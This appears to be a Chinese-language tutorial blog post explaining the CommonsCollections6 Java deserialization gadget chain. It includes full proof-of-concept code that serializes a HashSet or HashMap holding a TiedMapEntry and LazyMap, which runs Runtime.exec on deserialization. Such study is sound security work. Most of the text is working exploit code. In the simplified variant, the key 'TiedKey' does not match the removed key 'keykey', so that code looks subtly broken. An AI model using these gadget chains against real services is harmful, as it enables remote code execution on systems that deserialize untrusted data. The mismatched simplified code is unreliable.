CommonsCollections6
上一篇文章中通过AnnotationInvocationHandler#invoke
方法来触发LazyMap#get
方法,而AnnotationInvocationHandler
这个类在高版本Java(8u71以后)进行了修改,导致该利用链无法利用。
这里讲另一个相对比较通用的Gadget:CommonCollections6,这个Gadget使用了另一个类org.apache.commons.collections.keyvalue.TiedMapEntry
,该类在其hashCode
方法中调用了getValue
,而在getValue
中调用了this.map.get
,即可以调用LazyMap#get
方法。
利用链如下:
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
by @matthias_kaiser
*/
TiedMapEntry
TiedMapEntry(Map<K,V> map, K key)
构造POC
- 这条链主要是找了另一个类来触发
LazyMap#get
,所以前半段可以直接复用上一篇的POC,并创建一个TiedMapEntry
对象 ```java import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.util.Map; import java.util.HashMap;
public class CommonCollections6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( “getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, new Class[0]} ), new InvokerTransformer( “invoke”, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer( “exec”, new Class[]{String.class}, new Object[]{“/System/Applications/Calculator.app/Contents/MacOS/Calculator”} ) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");
} }
- 根据利用链可知,这里需要找到触发`TiedMapEntry#hashCode`的方式。另外从前面URLDNS那条链可以得知,先调用`HashMap#put`,触发其中的`HashMap#hash`,最后就可以触发`TiedMapEntry#hashCode`
```java
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
// ...
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
HashSet
HashSet(int initialCapacity)
那么怎样调用
HashMap#put
呢,这里CC6的利用链用到了HashSet
的反序列化,先创建一个HashSet
对象HashSet hashSet = new HashSet(1);
hashSet.add("test");
跟进看一下,发现在
readObject
方法中会对输入流s
进行反序列化,然后将s
作为Key
来调用map.put()
方法private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read capacity and verify non-negative.
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}
// Read load factor and verify positive and non NaN.
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}
// Read size and verify non-negative.
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " +
size);
}
// Set the capacity according to the size and load factor ensuring that
// the HashMap is at least 25% full but clamping to maximum capacity.
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);
// Constructing the backing map will lazily create an array when the first element is
// added, so check it before construction. Call HashMap.tableSizeFor to compute the
// actual allocation size. Check Map.Entry[].class since it's the nearest public type to
// what is actually created.
SharedSecrets.getJavaOISAccess()
.checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
然后再看
writeObject
方法,发现存在逻辑通过for
循环来对keySet
中的元素进行序列化。如果能够控制key
,那么就能控制s
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();
// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
// Write out size
s.writeInt(map.size());
// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}
序列化
如果想要控制
key
元素,那么首先要获取到map
这个对象,才能对key
进行操作Field#get(Object obj)
,返回指定对象上这个字段的值 ```java // 获取HashSet中的map字段 Field map = Class.forName(“java.util.HashSet”).getDeclaredField(“map”); map.setAccessible(true); // 获取hashSet对象上map字段的值 HashMap hashSetMap = (HashMap) map.get(hashSet);
- HashMap中有一个`table`属性,这个属性将`<Key,Value>`封装在了`Node`对象中
![image.png](https://cdn.nlark.com/yuque/0/2022/png/520228/1649833688183-a2a64d92-9226-49b2-a04b-340bbf851bd2.png#clientId=u4e690aab-12b1-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=131&id=uea89bd32&margin=%5Bobject%20Object%5D&name=image.png&originHeight=261&originWidth=644&originalType=binary&ratio=1&rotation=0&showTitle=false&size=29724&status=done&style=none&taskId=u43e7710b-ed4d-47e7-9447-c79d99140ef&title=&width=322)
- 接下来就是操作`hashSetMap`这个HashMap对象,修改其中的Key。首先需要获取获取到了`table`中的`Key`后,再利用反射修改其为`hashSetMap`
```java
// 获取HashMap中的table
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] mapArray = (Object[]) table.get(hashSetMap);
// 获取table中Node对象的Key
Object node = mapArray[0];
if (node == null) { node = mapArray[1]; }
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
// 设置tiedMap为Node对象的Key
key.set(node, tiedMap);
触发漏洞
- 最后再对
hashSet
对象进行序列化,并模拟反序列化场景来触发漏洞 ```java // Serialization ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashSet); System.out.println(baos);
// Deserialization ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject();
ois.close(); bais.close(); oos.close(); baos.close();
<a name="dkDBo"></a>
### 完整代码
```java
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashSet;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");
// new HashMap().put(tiedMap, "123");
HashSet hashSet = new HashSet(1);
hashSet.add("test");
// 获取HashSet中的map字段
Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
map.setAccessible(true);
HashMap hashSetMap = (HashMap) map.get(hashSet);
// 获取HashMap中的table
Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] mapArray = (Object[]) table.get(hashSetMap);
// 获取table中Node对象的Key
Object node = mapArray[0];
if (node == null) { node = mapArray[1]; }
Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
// 设置tiedMap为Node对象的Key
key.set(node, tiedMap);
// Serialization
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashSet);
System.out.println(baos);
// Deserialization
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
bais.close();
oos.close();
baos.close();
}
}
简化版CC6
来源于P牛对CC6利用链的改造:phith0n/CommonsCollections6.java
这条简化版的利用链不需要用到HashSet,因为在HashMap的readObject
⽅法中,调⽤到了 hash(key)
,⽽hash
⽅法中调⽤了key.hashCode()
。
所以只需要让这个key
等于TiedMapEntry
对象,即构成TiedMapEntry.hashCode()
,进而触发后续的利用链
- 这里参考ysoserial工具,在Transformer数组最后增加了一个
ConstantTransformer(1)
,消除java.lang.UNIXProcess
报错 ```java import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Map; import java.util.HashMap;
public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( “getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, new Class[0]} ), new InvokerTransformer( “invoke”, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer( “exec”, new Class[]{String.class}, new Object[]{“/System/Applications/Calculator.app/Contents/MacOS/Calculator”} ), new ConstantTransformer(1), };
Transformer transformerChain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");
// new HashMap().put(tiedMap, "123");
// 不再使⽤原CommonsCollections6中的HashSet, 直接使⽤HashMap
Map expMap = new HashMap();
expMap.put(tiedMap, "valuevalue");
lazyMap.remove("keykey");
// Serialization
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(expMap);
System.out.println(baos);
// Deserialization
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
bais.close();
oos.close();
baos.close();
} } ```